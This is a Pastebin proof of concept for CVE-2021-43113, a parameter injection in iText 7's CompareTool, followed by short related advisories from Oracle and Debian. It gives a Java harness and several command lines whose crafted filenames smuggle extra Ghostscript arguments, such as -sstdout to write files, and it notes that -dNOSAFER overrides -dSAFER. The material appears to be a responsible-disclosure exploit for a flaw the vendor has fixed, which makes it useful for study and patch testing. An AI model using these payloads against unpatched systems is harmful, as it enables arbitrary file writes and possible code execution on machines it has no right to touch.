Headline
CVE-2021-43113: iTextPDF7 Parameter Injection PoC - Pastebin.com
iTextPDF in iText 7 and up to 7.1.17 allows command injection via a CompareTool filename that is mishandled on the gs (aka Ghostscript) command line in GhostscriptHelper.java.
a guest
Nov 14th, 2021
5,010
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
/*
Title: iTextPDF7 Java Ghostscript Parameter Injection
Software: iTextPDF7 (Java version)
Version: <7.1.17
Vulnerability: Parameter Injection
Credits: Gabriele Zuddas (gzuddas[_@t_]mentat.is)
Description: An attacker controlling the filename passed to the CompareTool class, is able to inject arbitrary parameters in the command line being executed (ghostscript). The vulnerable code resides inside the com/itextpdf/io/util/GhostscriptHelper.java.
Notes: Vendor quickly acknowledged and fixed the vulnerability starting from version 7.1.17 (https://github.com/itext/itext7/releases/tag/7.1.17)
*/
//To compile: javac -cp “.:*” Example.java
//PoC Payload: ITEXT_GS_EXEC=/usr/bin/gs java -cp “.:*” Example 'a.pdf" -sstdout=hi.txt # '
import com.itextpdf.kernel.utils.CompareTool;
//Parameter injection: javac -cp “.:*” Example.java; ITEXT_GS_EXEC=/usr/bin/gs java -cp “.:*” Example “a.pdf\\\” -?"
// javac -cp “.:*” Example.java; ITEXT_GS_EXEC=/usr/bin/gs java -cp “.:*” Example “xxx.pdf\” - \0"
public class Example {
public static void main(String args[]) throws Exception {
CompareTool c \= new CompareTool();
c.compareVisually("a.pdf", args\[0\], ".", ".", null);
}
}
- //$ITEXT_GS_EXEC -dSAFER -dNOPAUSE -dBATCH -sDEVICE=png16m -r150 -sOutputFile="./cmp_xxx.pdf" - yyyyy-%03d.png" “xxx.pdf” - yyyyy"
- //-dNOSAFER overrides -dSAFER
//javac -cp “.:*” Example.java; ITEXT_GS_EXEC=/usr/bin/gs java -cp “.:*” Example “xxx.pdf\” -sstdout=a.txt"
//DROPS a file called ‘a.txt-%03d.png\ xxx.pdf\ -sstdout=a.txt’ on the filesystem
Related news
Vulnerability in the Oracle Hyperion Financial Reporting product of Oracle Hyperion (component: Repository). The supported version that is affected is 11.2.13.0.000. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Hyperion Financial Reporting. While the vulnerability is in Oracle Hyperion Financial Reporting, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Hyperion Financial Reporting accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Hyperion Financial Reporting. CVSS 3.1 Base Score 8.5 (Confidentiality and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L).
Debian Linux Security Advisory 5323-1 - It was discovered that the CompareTool of iText, a Java PDF library which uses the external ghostscript software to compare PDFs at a pixel level, allowed command injection when parsing a specially crafted filename.